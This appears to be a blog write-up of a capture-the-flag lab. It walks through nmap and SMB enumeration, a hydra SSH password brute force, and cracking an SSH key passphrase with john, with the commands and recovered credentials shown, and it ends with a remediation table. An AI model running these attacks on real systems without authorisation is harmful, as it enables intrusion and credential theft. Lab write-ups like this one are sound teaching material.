Nmap identified SSH, HTTP and SMB services. Web directory enumeration exposed development notes, while anonymous SMB access disclosed usernames. A weak SSH password provided initial access as Jan. Incorrect permissions exposed Kay’s encrypted SSH key, whose weak passphrase was recovered offline, allowing access to Kay’s account and a plaintext secret.
Get Rajj’s stories in your inbox
Join Medium for free to get updates from this writer.
Enumerate
sudo nmap -sV -sC -p- 10.49.137.243 Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-10 04:55 -0400 Nmap scan report for 10.49.137.243 Host is up (0.029s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 99:28:34:2c:ad:56:a3:13:ac:8e:2f:28:b9:48:e6:2a (RSA) | 256 5a:6f:ff:92:7d:d3:54:23:1f:83:61:15:22:95:0b:67 (ECDSA) |_ 256 ce:c0:3a:28:8d:71:c5:d7:f9:03:2c:e3:e8:64:e9:66 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 4 445/tcp open netbios-ssn Samba smbd 4 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.71 seconds
Next target check http and find the name of the hidden directory on the web server.
Index of /development [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [TXT] dev.txt 2018-04-23 14:52 483 [TXT] j.txt 2018-04-23 13:10 235 Apache/2.4.41 (Ubuntu) Server at 10.49.137.243 Port 80
check the .txt file
http://10.49.137.243/development/dev.txt
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J
http://10.49.137.243/development/j.txt
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.
-K
here we got clue smb(Anonymous SMB access disclosed usernames.)
smbclient -L //10.49.137.243 -N
Sharename Type Comment --------- ---- ------- Anonymous Disk IPC$ IPC IPC Service (Samba Server 4.15.13-Ubuntu) Reconnecting with SMB1 for workgroup listing. smbXcli_negprot_smb1_done: No compatible protocol selected by server. Protocol negotiation to server 10.49.137.243 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿kali)-[~] └─$ smbclient //10.49.137.243/Anonymous -N Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Apr 19 13:31:20 2018 .. D 0 Thu Apr 19 13:13:06 2018 staff.txt N 173 Thu Apr 19 13:29:55 2018
14282840 blocks of size 1024. 6245388 blocks available smb: \> cat staff.txt cat: command not found smb: \> get staff.txt getting file \staff.txt of size 173 as staff.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec) smb: \> ls -al NT_STATUS_NO_SUCH_FILE listing \-al smb: \> ls . D 0 Thu Apr 19 13:31:20 2018 .. D 0 Thu Apr 19 13:13:06 2018 staff.txt N 173 Thu Apr 19 13:29:55 2018
14282840 blocks of size 1024. 6245388 blocks available smb: \> ^Z zsh: suspended smbclient //10.49.137.243/Anonymous -N
┌──(kali㉿kali)-[~] └─$ smbclient //10.49.137.243/IPC$ -N Try "help" to get a list of possible commands. smb: \> ls NT_STATUS_OBJECT_NAME_NOT_FOUND listing \* smb: \> ls NT_STATUS_OBJECT_NAME_NOT_FOUND listing \* smb: \> The connection is disconnected now: NT_STATUS_CONNECTION_DISCONNECTED
cat staff.txt Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!)
-Kay
we gt username jan and brute-forcing to find the password.
printf 'jan\nJan\n' > users.txt
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \ ssh://10.49.137.243 -t 4 -f Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-10-10 05:07:53 [DATA] max 4 tasks per 1 server, overall 4 tasks, 28688798 login tries (l:2/p:14344399), ~7172200 tries per task [DATA] attacking ssh://10.49.137.243:22/ [STATUS] 78.00 tries/min, 78 tries in 00:01h, 28688720 to do in 6130:05h, 4 active [STATUS] 68.67 tries/min, 206 tries in 00:03h, 28688592 to do in 6963:16h, 4 active
[STATUS] 64.43 tries/min, 451 tries in 00:07h, 28688347 to do in 7421:14h, 4 active [22][ssh] host: 10.49.137.243 login: jan password: armando [STATUS] attack finished for 10.49.137.243 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-10 05:19:51
i got ssh username jan and password armando.( weak SSH password allowed initial access as jan.)
ssh jan@10.49.137.243 The authenticity of host '10.49.137.243 (10.49.137.243)' can't be established. ED25519 key fingerprint is: SHA256:sQywUR/zQizCCsk/SZv5ex0aPggzofSswvzfhRuy/y0 This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.49.137.243' (ED25519) to the list of known hosts. ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html jan@10.49.137.243's password:
jan@ip-10-49-137-243:/home$ ls -la total 20 drwxr-xr-x 5 root root 4096 Oct 10 03:13 . drwxr-xr-x 24 root root 4096 Oct 10 03:13 .. drwxr-xr-x 2 root root 4096 Apr 23 2018 jan drwxr-xr-x 5 kay kay 4096 Apr 23 2018 kay drwxr-xr-x 3 ubuntu ubuntu 4096 Oct 10 03:13 ubuntu jan@ip-10-49-137-243:/home$ cd kay jan@ip-10-49-137-243:/home/kay$ ls -la total 48 drwxr-xr-x 5 kay kay 4096 Apr 23 2018 . drwxr-xr-x 5 root root 4096 Oct 10 03:13 .. -rw------- 1 kay kay 789 Jun 22 2025 .bash_history -rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout -rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc drwx------ 2 kay kay 4096 Apr 17 2018 .cache -rw------- 1 root kay 119 Apr 23 2018 .lesshst drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano -rw------- 1 kay kay 57 Apr 23 2018 pass.bak -rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh -rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful -rw------- 1 root kay 538 Apr 23 2018 .viminfo jan@ip-10-49-137-243:/home/kay$ cat pass.bak cat: pass.bak: Permission denied
i have checked pass.bak and check .ssh giet id_rsa file .Incorrect .ssh permissions exposed Kay’s encrypted private key.
get id_rsa hash and A weak key passphrase allowed offline cracking.
Press enter or click to view image in full size
ssh2john kay_id_rsa > kay.hash
john --wordlist=/usr/share/wordlists/rockyou.txt kay.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status beeswax (kay_id_rsa) 1g 0:00:00:00 DONE (2026-10-10 05:44) 4.166g/s 344800p/s 344800c/s 344800C/s behlat..bammer Use the "--show" option to display all of the cracked passwords reliably Session completed.
connect with user: kay and id_rsa
ssh -i kay_id_rsa kay@10.49.137.243 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html Enter passphrase for key 'kay_id_rsa': Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
kay@ip-10-49-137-243:~$ ls -al total 48 drwxr-xr-x 5 kay kay 4096 Apr 23 2018 . drwxr-xr-x 5 root root 4096 Oct 10 03:13 .. -rw------- 1 kay kay 789 Jun 22 2025 .bash_history -rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout -rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc drwx------ 2 kay kay 4096 Apr 17 2018 .cache -rw------- 1 root kay 119 Apr 23 2018 .lesshst drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano -rw------- 1 kay kay 57 Apr 23 2018 pass.bak -rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh -rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful -rw------- 1 root kay 538 Apr 23 2018 .viminfo kay@ip-10-49-137-243:~$ cat pass.bak XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXxxcy$$
I got the pass.bak and pass.bak stored sensitive information in plaintext.
Finding Remediation Anonymous SMB share Disable guest access and restrict share permissions Weak SSH password Enforce strong passwords, rate limiting and key authentication Exposed private key Set .ssh to 700, private keys to 600, and rotate the key Weak key passphrase Use a long, unique passphrase Plaintext secret Remove the file, rotate the secret and use approved secret storage Directory listing Disable Apache directory indexing and remove sensitive development notes
